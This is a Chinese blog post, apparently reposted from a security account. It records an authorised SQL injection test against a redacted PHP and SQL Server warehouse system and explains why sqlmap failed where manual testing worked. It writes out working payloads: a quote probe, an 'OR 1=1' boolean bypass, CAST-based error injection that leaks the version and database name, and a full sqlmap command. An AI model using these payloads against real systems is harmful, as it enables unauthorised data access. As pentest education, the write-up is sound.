文章总结: 本文记录一次授权SQL注入漏洞测试过程,目标为PHP+SQLServer企业仓储系统。通过单引号报错确认注入点,使用布尔注入读取真实库存数据,利用CAST报错注入获取数据库版本与库名。文章重点分析了sqlmap读取库名失败而手工成功的原因:sqlmap依赖错误信息中匹配标记,而目标返回print_r数组格式导致解析失败。建议手工验证关键步骤,并注意脱敏与授权合规。 综合评分: 85 文章分类: 渗透测试,漏洞分析,WEB安全
记一次 SQL 注入漏洞的脱敏笔记
原创
添柴不加火 添柴不加火
希泽Sec
2026年9月13日 16:43 山东
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
DEEP READ
记一次 SQL 注入漏洞的脱敏笔记
导读 · CONTENTS
01声明
02背景
03测试过程
01
声明
SECTION
本文为授权安全测试后的技术总结,已对目标域名、单位名称、数据库名、版本号、Payload 等敏感信息做脱敏处理。仅用于技术交流与防御参考,请勿用于未授权测试。
02
背景
BACKGROUND
在一次授权安全测试中,目标是一个企业仓储管理系统。系统对外提供一个 GET 查询接口,用于按仓位编号查询库存信息。测试过程中发现,其中一个查询参数存在 SQL 注入漏洞。 本文记录从工具告警到手工确认的完整过程,并给出脱敏后的完整 Payload。
过程中遇到了一个问题:为什么 sqlmap 已经确认注入了,却读不出数据库名?而手工反而成功了?
03
测试过程
TESTING
目标接口如下:
CODE
https://XXX/?cw=1′
输入一个单引号发现报错,如图:
参数 cw 用于按仓位编号查询库存。后端为 PHP + Microsoft SQL Server,使用字符串拼接 SQL。 sqlmap 确认该参数存在基于错误的 SQL 注入:
CODE
Parameter: cw (GET)
Type: error-based
Title: MicrosoftSQLServer/SybaseANDerror-based – WHEREorHAVINGclause (IN)
但 sqlmap 在读取数据库名时失败,提示:
CODE
[WARNING] theSQLqueryprovideddoesnotreturnanyoutput
[ERROR] unabletoretrievethenumberofdatabases
[CRITICAL] unabletoretrievethedatabasenames
于是转为手工验证:
单引号触发报错,确认注入上下文
CODE
https://XXX/?cw=1′
响应中出现类似:
CODE
字符串 ‘A001′)’ 后的引号不完整。确认注入点为字符串拼接,上下文为 cw=’<值>‘)。
布尔注入读取真实库存数据
CODE
https://XXX/?cw=1′)%20OR%201=1–
返回 10 条真实库存数据,示例(已脱敏):
CODE
[{“dyph”:”XXX”,”gg”:”XXX”,”kcsl”:0,”mc”:”XXX”}, …]
对比基线返回的空占位,布尔注入成立,并已能越权读取业务数据。
报错注入读取数据库版本
CODE
https://XXX/?cw=1′)%20AND%201=CAST(@@version%20AS%20int)–
响应中回显(已脱敏):
CODE
在将 nvarchar 值 ‘Microsoft SQL Server XXXX’ 转换成数据类型 int 时失败。
报错注入读取当前数据库名
CODE
https://XXX/?cw=1′)%20AND%201=CAST(DB_NAME()%20AS%20int)–
响应中回显(已脱敏):
CODE
在将 nvarchar 值 ‘XXX_DB’ 转换成数据类型 int 时失败。
点到为止,没有再继续测试了。
04
sqlmap 命令
SQLMAP
CODE
python sqlmap.py -u “https://XXX/?cw=1″ -pcw –prefix=”‘)” –suffix=”– ” –dbms=”Microsoft SQL Server” –technique=E –current-db –flush-session –no-cast –threads=1 –delay=1 -v3 –batch
为什么 sqlmap 读不出,手工却能读出? sqlmap 的报错注入依赖在错误信息中匹配自己设置的标记(如 qjpjq 和 qbvjq),再提取中间的十六进制字符串。目标返回的是 PHP print_r 数组格式,错误信息可能被换行、转义或截断,导致 sqlmap 解析失败。
手工用 CAST(DB_NAME() AS int) 直接看报错,不依赖 sqlmap 的正则,所以更直接、更可靠。
添添柴不加火
我是添柴不加火,网络安全爱好者,不定时分享一些网安知识、学习笔记和工具安装等等,期待和你共同进步^_^ 。
如果觉得有用,欢迎点赞、在看、转发三连。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:希泽Sec 添柴不加火 添柴不加火《记一次 SQL 注入漏洞的脱敏笔记》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论